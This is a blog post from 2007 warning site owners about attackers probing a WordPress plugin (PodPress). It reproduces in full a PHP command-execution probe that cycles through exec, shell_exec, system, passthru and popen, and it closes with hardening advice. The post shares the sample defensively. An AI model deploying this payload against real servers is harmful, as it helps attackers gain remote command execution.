Hack attack in progress

One of the ugliest thing that could happen to a blog or a website is getting hacked. For a person like me who runs his own dedicated server, this is a daily pain in the neck. We get hack attacks everyday, some by expert hackers but mostly script kiddies who take some scripts laying around somewhere and try to inject malicious codes into your site hoping to get access.

Since Friday, my blog has been targeted incessantly. You could be next! (Or you’ve already been, you just don’t know it yet.) So be wary.

One of the first signs of hacks attempts can be detected thru your error_logs. They’re usually found on the root folder of your site or the base directory of your blog. What they usually do is affix a script in your URL hoping to execute it. Here’s one script I found being injected to my PodPress plugin:


echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Several people have encountered the same and have been successfully hacked. The script is uploaded somewhere else and being pulled up from the target site. Your error logs might display this as such:

[30-Jul-2007 08:17:57] PHP Warning: parse_url + the URL it’s testing for holes or vulnerabilities.

So, be careful. Always check your files for open permissions (+777) and fix them. Upgrade to the latest stable version of WordPress or any software you’re using. Check all your plugins if they need upgrades too. It’s usually the plugins (that we don’t bother to check) where we least expect them to attack.